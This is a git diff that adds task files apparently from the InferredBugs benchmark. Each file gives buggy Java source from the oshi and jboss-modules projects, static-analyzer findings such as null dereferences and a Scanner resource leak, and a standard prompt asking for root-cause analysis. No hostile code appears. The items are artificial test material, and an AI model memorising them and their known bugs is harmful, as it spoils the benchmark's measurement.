+            Ole32.INSTANCE.CoUninitialize();
+            return false;
+        }
+        securityInitialized = true;
+        return true;
+    }
+
+    /**
+     * Obtains a locator to the WMI server and connects to the specified
+     * namespace
+     * 
+     * @param namespace
+     *            The namespace to connect to
+     * @param pSvc
+     *            A pointer to receive an indirect to the WMI service
+     * @return true if successful; pSvc will contain an indirect pointer to the
+     *         WMI service for future IWbemServices calls
+     */
+    private static boolean connectServer(String namespace, PointerByReference pSvc) {
+        // Step 3: ---------------------------------------------------
+        // Obtain the initial locator to WMI -------------------------
+        WbemLocator loc = WbemLocator.create();
+        if (loc == null) {
+            return false;
+        }
+        // Step 4: -----------------------------------------------------
+        // Connect to WMI through the IWbemLocator::ConnectServer method
+        // Connect to the namespace with the current user and obtain pointer
+        // pSvc to make IWbemServices calls.
+        HRESULT hres = loc.ConnectServer(new BSTR(namespace), null, null, null, null, null, null, pSvc);
+        if (COMUtils.FAILED(hres)) {
+            LOG.error(String.format("Could not connect to namespace %s. Error code = 0x%08x", namespace,
+                    hres.intValue()));
+            loc.Release();
+            Ole32.INSTANCE.CoUninitialize();
+            return false;
+        }
+        LOG.debug("Connected to {} WMI namespace", namespace);
+        loc.Release();
+
+        // Step 5: --------------------------------------------------
+        // Set security levels on the proxy -------------------------
+        hres = Ole32.INSTANCE.CoSetProxyBlanket(pSvc.getValue(), Ole32.RPC_C_AUTHN_WINNT, Ole32.RPC_C_AUTHZ_NONE, null,
+                Ole32.RPC_C_AUTHN_LEVEL_CALL, Ole32.RPC_C_IMP_LEVEL_IMPERSONATE, null, Ole32.EOAC_NONE);
+        if (COMUtils.FAILED(hres)) {
+            LOG.error(String.format("Could not set proxy blanket. Error code = 0x%08x", hres.intValue()));
+            new WbemServices(pSvc.getValue()).Release();
+            Ole32.INSTANCE.CoUninitialize();
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Selects properties from WMI. Returns immediately, even while results are
+     * being retrieved; results may begun to be enumerated in the forward
+     * direction only.
+     * 
+     * @param svc
+     *            A WbemServices object to make the calls
+     * @param pEnumerator
+     *            An enumerator to receive the results of the query
+     * @param properties
+     *            A comma separated list of properties to query
+     * @param wmiClass
+     *            The WMI class to query
+     * @param whereClause
+     *            A WHERE clause to narrow the query
+     * @return True if successful. The enumerator will allow enumeration of
+     *         results of the query
+     */
+    private static boolean selectProperties(WbemServices svc, PointerByReference pEnumerator, String properties,
+            String wmiClass, String whereClause) {
+        // Step 6: --------------------------------------------------
+        // Use the IWbemServices pointer to make requests of WMI ----
+        String query = String.format("SELECT %s FROM %s %s", properties, wmiClass,
+                whereClause != null ? whereClause : "");
+        LOG.debug("Query: {}", query);
+        HRESULT hres = svc.ExecQuery(new BSTR("WQL"), new BSTR(query),
+                new NativeLong(
+                        EnumWbemClassObject.WBEM_FLAG_FORWARD_ONLY | EnumWbemClassObject.WBEM_FLAG_RETURN_IMMEDIATELY),
+                null, pEnumerator);
+        if (COMUtils.FAILED(hres)) {
+            LOG.error(String.format("Query '%s' failed. Error code = 0x%08x", query, hres.intValue()));
+            svc.Release();
+            Ole32.INSTANCE.CoUninitialize();
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Enumerate the results of a WMI query. This method is called while results
+     * are still being retrieved and may iterate in the forward direction only.
+     * 
+     * @param values
+     *            A map to hold the results of the query using the property as
+     *            the key, and placing each enumerated result in a
+     *            (common-index) list for each property
+     * @param enumerator
+     *            The enumerator with the results
+     * @param properties
+     *            Comma-delimited list of properties to retrieve
+     * @param propertyTypes
+     *            An array of property types matching the properties or a single
+     *            property type which will be used for all properties
+     */
+    private static void enumerateProperties(Map<String, List<Object>> values, EnumWbemClassObject enumerator,
+            String[] properties, ValueType[] propertyTypes) {
+        if (propertyTypes.length > 1 && properties.length != propertyTypes.length) {
+            throw new IllegalArgumentException("Property type array size must be 1 or equal to properties array size.");
+        }
+        // Step 7: -------------------------------------------------
+        // Get the data from the query in step 6 -------------------
+        PointerByReference pclsObj = new PointerByReference();
+        LongByReference uReturn = new LongByReference(0L);
+        while (enumerator.getPointer() != Pointer.NULL) {
+            HRESULT hres = enumerator.Next(new NativeLong(EnumWbemClassObject.WBEM_INFINITE), new NativeLong(1),
+                    pclsObj, uReturn);
+            // Requested 1; if 0 objects returned, we're done
+            if (0L == uReturn.getValue() || COMUtils.FAILED(hres)) {
+                // Enumerator will be released by calling method so no need to
+                // release it here.
+                return;
+            }
+            VARIANT.ByReference vtProp = new VARIANT.ByReference();
+
+            // Get the value of the properties
+            WbemClassObject clsObj = new WbemClassObject(pclsObj.getValue());
+            for (int p = 0; p < properties.length; p++) {
+                String property = properties[p];
+                hres = clsObj.Get(new BSTR(property), new NativeLong(0L), vtProp, null, null);
+
+                ValueType propertyType = propertyTypes.length > 1 ? propertyTypes[p] : propertyTypes[0];
+                switch (propertyType) {
+                // WMI Longs will return as strings
+                case STRING:
+                    values.get(property).add(vtProp.getValue() == null ? "unknown" : vtProp.stringValue());
+                    break;
+                // WMI Uint32s will return as longs
+                case UINT32: // WinDef.LONG TODO improve in JNA 4.3
+                    values.get(property)
+                            .add(vtProp.getValue() == null ? 0L : vtProp._variant.__variant.lVal.longValue());
+                    break;
+                case FLOAT:
+                    values.get(property).add(vtProp.getValue() == null ? 0f : vtProp.floatValue());
+                    break;
+                case DATETIME:
+                    // Read a string in format 20160513072950.782000-420 and
+                    // parse to a long representing ms since eopch
+                    values.get(property).add(ParseUtil.cimDateTimeToMillis(vtProp.stringValue()));
+                    break;
+                default:
+                    // Should never get here! If you get this exception you've
+                    // added something to the enum without adding it here. Tsk.
+                    throw new IllegalArgumentException("Unimplemented enum type: " + propertyType.toString());
+                }
+                OleAuto.INSTANCE.VariantClear(vtProp.getPointer());
+            }
+            clsObj.Release();
+        }
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `$T1_299` last assigned on line 484 could be null and is dereferenced at line 484.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WmiUtil.enumerateProperties(HashMap,EnumWbemClassObject,java.lang.String[],oshi.util.platform.windows.WmiUtil$ValueType[])
+
+### Procedure Id:
+oshi.util.platform.windows.WmiUtil.enumerateProperties(java.util.HashMap,oshi.jna.platform.windows.C.5f6d66bc2e64d1f4d951514562ae9e5b
+
+### File:
+oshi-core/src/main/java/oshi/util/platform/windows/WmiUtil.java
+
+### Key:
+WmiUtil.java|enumerateProperties|NULL_DEREFERENCE
+
+### Node Key:
+df64850a52332193bad448f8258efd03
+
+### Hash:
+532bb3b24cbc5f049541d2d806e01472
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9687/instruction.md b/inferredbugs-9687/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d27f28386ffb706d180c51800ad11d6f2783e4a3
--- /dev/null
+++ b/inferredbugs-9687/instruction.md
@@ -0,0 +1,174 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** oshi
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Oshi (https://github.com/dblock/oshi)
+ * 
+ * Copyright (c) 2010 - 2016 The Oshi Project Team
+ * 
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * http://www.eclipse.org/legal/epl-v10.html
+ * 
+ * Contributors:
+ * dblock[at]dblock[dot]org
+ * alessandro[at]perucchi[dot]org
+ * widdis[at]gmail[dot]com
+ * https://github.com/dblock/oshi/graphs/contributors
+ */
+package oshi.software.os.linux;
+
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.util.Scanner;
+
+import javax.json.Json;
+import javax.json.JsonBuilderFactory;
+import javax.json.JsonObject;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import oshi.software.os.OperatingSystem;
+import oshi.software.os.OperatingSystemVersion;
+
+/**
+ * Linux is a family of free operating systems most commonly used on personal
+ * computers.
+ *
+ * @author alessandro[at]perucchi[dot]org
+ */
+public class LinuxOperatingSystem implements OperatingSystem {
+
+    private static final Logger LOG = LoggerFactory.getLogger(LinuxOperatingSystem.class);
+
+    private OperatingSystemVersion _version;
+
+    private String _family;
+
+    private JsonBuilderFactory jsonFactory = Json.createBuilderFactory(null);
+
+    @Override
+    public String getFamily() {
+        if (this._family == null) {
+            try (final Scanner in = new Scanner(new FileReader("/etc/os-release"))) {
+                in.useDelimiter("\n");
+                while (in.hasNext()) {
+                    String[] splittedLine = in.next().split("=");
+                    if (splittedLine[0].equals("NAME")) {
+                        // remove beginning and ending '"' characters, etc from
+                        // NAME="Ubuntu"
+                        this._family = splittedLine[1].replaceAll("^\"|\"$", "");
+                        break;
+                    }
+                }
+            } catch (FileNotFoundException e) {
+                LOG.trace("", e);
+                return "";
+            }
+        }
+        return this._family;
+    }
+
+    @Override
+    public String getManufacturer() {
+        return "GNU/Linux";
+    }
+
+    @Override
+    public OperatingSystemVersion getVersion() {
+        if (this._version == null) {
+            this._version = new LinuxOSVersionInfoEx();
+        }
+        return this._version;
+    }
+
+    @Override
+    public JsonObject toJSON() {
+        return jsonFactory.createObjectBuilder().add("manufacturer", getManufacturer()).add("family", getFamily())
+                .add("version", getVersion().toJSON()).build();
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        sb.append(getManufacturer());
+        sb.append(" ");
+        sb.append(getFamily());
+        sb.append(" ");
+        sb.append(getVersion().toString());
+        return sb.toString();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.util.Scanner` acquired to `in` by call to `new()` at line 52 is not released after line 63.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String LinuxOperatingSystem.getFamily()
+
+### Procedure Id:
+oshi.software.os.linux.LinuxOperatingSystem.getFamily():java.lang.String.fc47a5620fcec4e8772f8514799979ad
+
+### File:
+src/main/java/oshi/software/os/linux/LinuxOperatingSystem.java
+
+### Key:
+LinuxOperatingSystem.java|getFamily|RESOURCE_LEAK
+
+### Node Key:
+e6c29f5c0982f2bca86f16af114980b5
+
+### Hash:
+68e564096d428dcc97a1df73791b234c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9689/instruction.md b/inferredbugs-9689/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..03104639739befa529f501095b63a806fbb971b8
--- /dev/null
+++ b/inferredbugs-9689/instruction.md
@@ -0,0 +1,382 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** oshi
+**Bug ID:** 44
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Oshi (https://github.com/oshi/oshi)
+ *
+ * Copyright (c) 2010 - 2018 The Oshi Project Team
+ *
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * http://www.eclipse.org/legal/epl-v10.html
+ *
+ * Maintainers:
+ * dblock[at]dblock[dot]org
+ * widdis[at]gmail[dot]com
+ * enrico.bianchi[at]gmail[dot]com
+ *
+ * Contributors:
+ * https://github.com/oshi/oshi/graphs/contributors
+ */
+package oshi.hardware.platform.windows;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.sun.jna.Native; // NOSONAR
+import com.sun.jna.platform.win32.Kernel32;
+import com.sun.jna.platform.win32.WinDef.DWORD;
+import com.sun.jna.platform.win32.WinDef.DWORDByReference;
+
+import oshi.hardware.Disks;
+import oshi.hardware.HWDiskStore;
+import oshi.hardware.HWPartition;
+import oshi.jna.platform.windows.Pdh;
+import oshi.util.MapUtil;
+import oshi.util.ParseUtil;
+import oshi.util.StringUtil;
+import oshi.util.platform.windows.PdhUtil;
+import oshi.util.platform.windows.WmiUtil;
+import oshi.util.platform.windows.WmiUtil.ValueType;
+
+/**
+ * Windows hard disk implementation.
+ *
+ * @author enrico[dot]bianchi[at]gmail[dot]com
+ */
+public class WindowsDisks implements Disks {
+
+    private static final long serialVersionUID = 1L;
+
+    private static final Logger LOG = LoggerFactory.getLogger(WindowsDisks.class);
+
+    /**
+     * Maps to store read/write bytes per drive index
+     */
+    private static Map<String, Long> readMap = new HashMap<>();
+    private static Map<String, Long> readByteMap = new HashMap<>();
+    private static Map<String, Long> writeMap = new HashMap<>();
+    private static Map<String, Long> writeByteMap = new HashMap<>();
+    private static Map<String, Long> xferTimeMap = new HashMap<>();
+    private static Map<String, Long> timeStampMap = new HashMap<>();
+    private static Map<String, List<String>> driveToPartitionMap = new HashMap<>();
+    private static Map<String, String> partitionToLogicalDriveMap = new HashMap<>();
+    private static Map<String, HWPartition> partitionMap = new HashMap<>();
+
+    private static final Pattern DEVICE_ID = Pattern.compile(".*\\.DeviceID=\"(.*)\"");
+
+    private static final int BUFSIZE = 255;
+
+    private static final String DISK_DRIVE_CLASS = "Win32_DiskDrive";
+
+    private static final String ANTECEDENT_PROPERTY = "Antecedent";
+    private static final String DEPENDENT_PROPERTY = "Dependent";
+    private static final String DESCRIPTION_PROPERTY = "Description";
+    private static final String DEVICE_ID_PROPERTY = "DeviceID";
+    private static final String DISK_INDEX_PROPERTY = "DiskIndex";
+    private static final String INDEX_PROPERTY = "Index";
+    private static final String MANUFACTURER_PROPERTY = "Manufacturer";
+    private static final String MODEL_PROPERTY = "Model";
+    private static final String NAME_PROPERTY = "Name";
+    private static final String SERIALNUMBER_PROPERTY = "SerialNumber";
+    private static final String SIZE_PROPERTY = "Size";
+    private static final String TYPE_PROPERTY = "Type";
+
+    private static final String[] DRIVE_PROPERTIES = new String[] { NAME_PROPERTY, MANUFACTURER_PROPERTY,
+            MODEL_PROPERTY, SERIALNUMBER_PROPERTY, SIZE_PROPERTY, INDEX_PROPERTY };
+    private static final ValueType[] DRIVE_TYPES = { ValueType.STRING, ValueType.STRING, ValueType.STRING,
+            ValueType.STRING, ValueType.STRING, ValueType.UINT32 };
+
+    private static final String DRIVE_TO_PARTITION_PROPERTIES = StringUtil.join(",",
+            new String[] { ANTECEDENT_PROPERTY, DEPENDENT_PROPERTY });
+    private static final String LOGICAL_DISK_TO_PARTITION_PROPERTIES = StringUtil.join(",",
+            new String[] { ANTECEDENT_PROPERTY, DEPENDENT_PROPERTY });
+
+    private static final String[] PARTITION_PROPERTIES = new String[] { NAME_PROPERTY, TYPE_PROPERTY,
+            DESCRIPTION_PROPERTY, DEVICE_ID_PROPERTY, SIZE_PROPERTY, DISK_INDEX_PROPERTY, INDEX_PROPERTY };
+    private static final ValueType[] PARTITION_TYPES = { ValueType.STRING, ValueType.STRING, ValueType.STRING,
+            ValueType.STRING, ValueType.STRING, ValueType.UINT32, ValueType.UINT32 };
+
+    private static final String PDH_DISK_READS_FORMAT = "\\PhysicalDisk(%s)\\Disk Reads/sec";
+    private static final String PDH_DISK_READ_BYTES_FORMAT = "\\PhysicalDisk(%s)\\Disk Read Bytes/sec";
+    private static final String PDH_DISK_WRITES_FORMAT = "\\PhysicalDisk(%s)\\Disk Writes/sec";
+    private static final String PDH_DISK_WRITE_BYTES_FORMAT = "\\PhysicalDisk(%s)\\Disk Write Bytes/sec";
+    private static final String PDH_DISK_TIME_FORMAT = "\\PhysicalDisk(%s)\\%% Disk Time";
+
+    private static final String PHYSICALDRIVE_PREFIX = "\\\\.\\PHYSICALDRIVE";
+
+    public static boolean updateDiskStats(HWDiskStore diskStore) {
+        String index = null;
+        HWPartition[] partitions = diskStore.getPartitions();
+        if (partitions.length > 0) {
+            // If a partition exists on this drive, the major property
+            // corresponds to the disk index, so use it.
+            index = Integer.toString(partitions[0].getMajor());
+        } else if (diskStore.getName().startsWith(PHYSICALDRIVE_PREFIX)) {
+            // If no partition exists, Windows reliably uses a name to match the
+            // disk index. That said, the skeptical person might wonder why a
+            // disk has read/write statistics without a partition, and wonder
+            // why this branch is even relevant as an option. The author of this
+            // comment does not have an answer for this valid question.
+            index = diskStore.getName().substring(PHYSICALDRIVE_PREFIX.length(), diskStore.getName().length());
+        } else {
+            // The author of this comment cannot fathom a circumstance in which
+            // the code reaches this point, but just in case it does, here's the
+            // correct response. If you get this log warning, the circumstances
+            // would be of great interest to the project's maintainers.
+            LOG.warn("Couldn't match index for {}", diskStore.getName());
+            return false;
+        }
+        populateReadWriteMaps(index);
+        if (readMap.containsKey(index)) {
+            diskStore.setReads(MapUtil.getOrDefault(readMap, index, 0L));
+            diskStore.setReadBytes(MapUtil.getOrDefault(readByteMap, index, 0L));
+            diskStore.setWrites(MapUtil.getOrDefault(writeMap, index, 0L));
+            diskStore.setWriteBytes(MapUtil.getOrDefault(writeByteMap, index, 0L));
+            diskStore.setTransferTime(MapUtil.getOrDefault(xferTimeMap, index, 0L));
+            diskStore.setTimeStamp(MapUtil.getOrDefault(timeStampMap, index, 0L));
+            return true;
+        } else {
+            return false;
+        }
+
+    }
+
+    @Override
+    public HWDiskStore[] getDisks() {
+        List<HWDiskStore> result;
+        result = new ArrayList<>();
+        populateReadWriteMaps(null);
+        populatePartitionMaps();
+
+        Map<String, List<Object>> vals = WmiUtil.selectObjectsFrom(null, DISK_DRIVE_CLASS, DRIVE_PROPERTIES, null,
+                DRIVE_TYPES);
+        for (int i = 0; i < vals.get(NAME_PROPERTY).size(); i++) {
+            HWDiskStore ds = new HWDiskStore();
+            ds.setName((String) vals.get(NAME_PROPERTY).get(i));
+            ds.setModel(String.format("%s %s", vals.get(MODEL_PROPERTY).get(i), vals.get(MANUFACTURER_PROPERTY).get(i))
+                    .trim());
+            // Most vendors store serial # as a hex string; convert
+            ds.setSerial(ParseUtil.hexStringToString((String) vals.get(SERIALNUMBER_PROPERTY).get(i)));
+            String index = vals.get(INDEX_PROPERTY).get(i).toString();
+            ds.setReads(MapUtil.getOrDefault(readMap, index, 0L));
+            ds.setReadBytes(MapUtil.getOrDefault(readByteMap, index, 0L));
+            ds.setWrites(MapUtil.getOrDefault(writeMap, index, 0L));
+            ds.setWriteBytes(MapUtil.getOrDefault(writeByteMap, index, 0L));
+            ds.setTransferTime(MapUtil.getOrDefault(xferTimeMap, index, 0L));
+            ds.setTimeStamp(MapUtil.getOrDefault(timeStampMap, index, 0L));
+            // If successful this line is the desired value
+            ds.setSize(ParseUtil.parseLongOrDefault((String) vals.get(SIZE_PROPERTY).get(i), 0L));
+            // Get partitions
+            List<HWPartition> partitions = new ArrayList<>();
+            List<String> partList = driveToPartitionMap.get(ds.getName());
+            if (partList != null && !partList.isEmpty()) {
+                for (String part : partList) {
+                    partitions.add(partitionMap.get(part));
+                }
+            }
+            ds.setPartitions(partitions.toArray(new HWPartition[partitions.size()]));
+            // Add to list
+            result.add(ds);
+        }
+        return result.toArray(new HWDiskStore[result.size()]);
+    }
+
+    /**
+     * Populates the maps for the specified index. If the index is null,
+     * populates all the maps
+     * 
+     * @param index
+     *            The index to populate/update maps for
+     */
+    private static void populateReadWriteMaps(String index) {
+        // If index is null, start from scratch.
+        if (index == null) {
+            readMap.clear();
+            readByteMap.clear();
+            writeMap.clear();
+            writeByteMap.clear();
+            xferTimeMap.clear();
+            timeStampMap.clear();
+        }
+        // Fetch the instance names
+        // Call once to get string lengths
+        DWORDByReference pcchCounterListLength = new DWORDByReference(new DWORD(0));
+        DWORDByReference pcchInstanceListLength = new DWORDByReference(new DWORD(0));
+        Pdh.INSTANCE.PdhEnumObjectItems(null, null, "PhysicalDisk", null, pcchCounterListLength, null,
+                pcchInstanceListLength, 100, 0);
+        // Allocate memory and call again to populate strings
+        char[] mszCounterList = new char[pcchCounterListLength.getValue().intValue()];
+        char[] mszInstanceList = new char[pcchInstanceListLength.getValue().intValue()];
+        Pdh.INSTANCE.PdhEnumObjectItems(null, null, "PhysicalDisk", mszCounterList, pcchCounterListLength,
+                mszInstanceList, pcchInstanceListLength, 100, 0);
+        List<String> instances = Native.toStringList(mszInstanceList);
+        instances.remove("_Total");
+        // At this point we have a list of strings that PDH understands. Fetch
+        // the counters.
+        // Although the field names say "PerSec" this is the Raw Data/counters
+        // from which the associated fields are populated in the Formatted Data
+        for (String i : instances) {
+            String name = ParseUtil.whitespaces.split(i)[0];
+            String readString = String.format(PDH_DISK_READS_FORMAT, i);
+            if (!PdhUtil.isCounter(readString)) {
+                PdhUtil.addCounter(readString);
+            }
+            String readBytesString = String.format(PDH_DISK_READ_BYTES_FORMAT, i);
+            if (!PdhUtil.isCounter(readBytesString)) {
+                PdhUtil.addCounter(readBytesString);
+            }
+            String writeString = String.format(PDH_DISK_WRITES_FORMAT, i);
+            if (!PdhUtil.isCounter(writeString)) {
+                PdhUtil.addCounter(writeString);
+            }
+            String writeBytesString = String.format(PDH_DISK_WRITE_BYTES_FORMAT, i);
+            if (!PdhUtil.isCounter(writeBytesString)) {
+                PdhUtil.addCounter(writeBytesString);
+            }
+            String xferTimeString = String.format(PDH_DISK_TIME_FORMAT, i);
+            if (!PdhUtil.isCounter(xferTimeString)) {
+                PdhUtil.addCounter(xferTimeString);
+            }
+            readMap.put(name, PdhUtil.queryCounter(readString));
+            readByteMap.put(name, PdhUtil.queryCounter(readBytesString));
+            writeMap.put(name, PdhUtil.queryCounter(writeString));
+            writeByteMap.put(name, PdhUtil.queryCounter(writeBytesString));
+            xferTimeMap.put(name, PdhUtil.queryCounter(xferTimeString) / 10000L);
+            timeStampMap.put(name, PdhUtil.queryCounterTimestamp(xferTimeString));
+        }
+    }
+
+    private void populatePartitionMaps() {
+        driveToPartitionMap.clear();
+        partitionToLogicalDriveMap.clear();
+        partitionMap.clear();
+        // For Regexp matching DeviceIDs
+        Matcher mAnt;
+        Matcher mDep;
+
+        // Map drives to partitions
+        Map<String, List<String>> partitionQueryMap = WmiUtil.selectStringsFrom(null, "Win32_DiskDriveToDiskPartition",
+                DRIVE_TO_PARTITION_PROPERTIES, null);
+        for (int i = 0; i < partitionQueryMap.get(ANTECEDENT_PROPERTY).size(); i++) {
+            mAnt = DEVICE_ID.matcher(partitionQueryMap.get(ANTECEDENT_PROPERTY).get(i));
+            mDep = DEVICE_ID.matcher(partitionQueryMap.get(DEPENDENT_PROPERTY).get(i));
+            if (mAnt.matches() && mDep.matches()) {
+                MapUtil.createNewListIfAbsent(driveToPartitionMap, mAnt.group(1).replaceAll("\\\\\\\\", "\\\\"))
+                        .add(mDep.group(1));
+            }
+        }
+
+        // Map partitions to logical disks
+        partitionQueryMap = WmiUtil.selectStringsFrom(null, "Win32_LogicalDiskToPartition",
+                LOGICAL_DISK_TO_PARTITION_PROPERTIES, null);
+        for (int i = 0; i < partitionQueryMap.get(ANTECEDENT_PROPERTY).size(); i++) {
+            mAnt = DEVICE_ID.matcher(partitionQueryMap.get(ANTECEDENT_PROPERTY).get(i));
+            mDep = DEVICE_ID.matcher(partitionQueryMap.get(DEPENDENT_PROPERTY).get(i));
+            if (mAnt.matches() && mDep.matches()) {
+                partitionToLogicalDriveMap.put(mAnt.group(1), mDep.group(1) + "\\");
+            }
+        }
+
+        // Next, get all partitions and create objects
+        final Map<String, List<Object>> hwPartitionQueryMap = WmiUtil.selectObjectsFrom(null, "Win32_DiskPartition",
+                PARTITION_PROPERTIES, null, PARTITION_TYPES);
+        for (int i = 0; i < hwPartitionQueryMap.get(NAME_PROPERTY).size(); i++) {
+            String deviceID = (String) hwPartitionQueryMap.get(DEVICE_ID_PROPERTY).get(i);
+            String logicalDrive = MapUtil.getOrDefault(partitionToLogicalDriveMap, deviceID, "");
+            String uuid = "";
+            if (!logicalDrive.isEmpty()) {
+                // Get matching volume for UUID
+                char[] volumeChr = new char[BUFSIZE];
+                Kernel32.INSTANCE.GetVolumeNameForVolumeMountPoint(logicalDrive, volumeChr, BUFSIZE);
+                uuid = ParseUtil.parseUuidOrDefault(new String(volumeChr).trim(), "");
+            }
+            partitionMap.put(deviceID,
+                    new HWPartition((String) hwPartitionQueryMap.get(NAME_PROPERTY).get(i),
+                            (String) hwPartitionQueryMap.get(TYPE_PROPERTY).get(i),
+                            (String) hwPartitionQueryMap.get(DESCRIPTION_PROPERTY).get(i), uuid,
+                            ParseUtil.parseLongOrDefault((String) hwPartitionQueryMap.get(SIZE_PROPERTY).get(i), 0L),
+                            ((Long) hwPartitionQueryMap.get(DISK_INDEX_PROPERTY).get(i)).intValue(),
+                            ((Long) hwPartitionQueryMap.get(INDEX_PROPERTY).get(i)).intValue(), logicalDrive));
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `partitionQueryMap.get("Antecedent")` could be null and is dereferenced at line 266.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WindowsDisks.populatePartitionMaps()
+
+### Procedure Id:
+oshi.hardware.platform.windows.WindowsDisks.populatePartitionMaps():void.f7f99bb7e95fa160894f1f3c2d1bcaf5
+
+### File:
+oshi-core/src/main/java/oshi/hardware/platform/windows/WindowsDisks.java
+
+### Key:
+WindowsDisks.java|populatePartitionMaps|NULL_DEREFERENCE
+
+### Node Key:
+ccf846dbf4c448ce9ebdc4cb034fb6c6
+
+### Hash:
+da0b596b0803278fe778332e328fe2f3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9755/instruction.md b/inferredbugs-9755/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9eb376e0abf83c62aeca6582450bdadc81b1bf12
--- /dev/null
+++ b/inferredbugs-9755/instruction.md
@@ -0,0 +1,1179 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jboss-modules
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * JBoss, Home of Professional Open Source.
+ * Copyright 2010, Red Hat, Inc., and individual contributors
+ * as indicated by the @author tags. See the copyright.txt file in the
+ * distribution for a full listing of individual contributors.
+ *
+ * This is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as
+ * published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This software is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this software; if not, write to the Free
+ * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA, or see the FSF site: http://www.fsf.org.
+ */
+
+package org.jboss.modules;
+
+import java.io.IOException;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.net.URL;
+import java.net.URLConnection;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.ServiceLoader;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicReference;
+
+import org.jboss.modules.filter.PathFilter;
+import org.jboss.modules.filter.PathFilters;
+import org.jboss.modules.log.ModuleLogger;
+import org.jboss.modules.log.NoopModuleLogger;
+
+import __redirected.__JAXPRedirected;
+
+import static org.jboss.modules.Linkage.State.*;
+
+/**
+ * A module is a unit of classes and other resources, along with the specification of what is imported and exported
+ * by this module from and to other modules.  Modules are created by {@link ModuleLoader}s which build modules from
+ * various configuration information and resource roots.
+ *
+ * @author <a href="mailto:david.lloyd@redhat.com">David M. Lloyd</a>
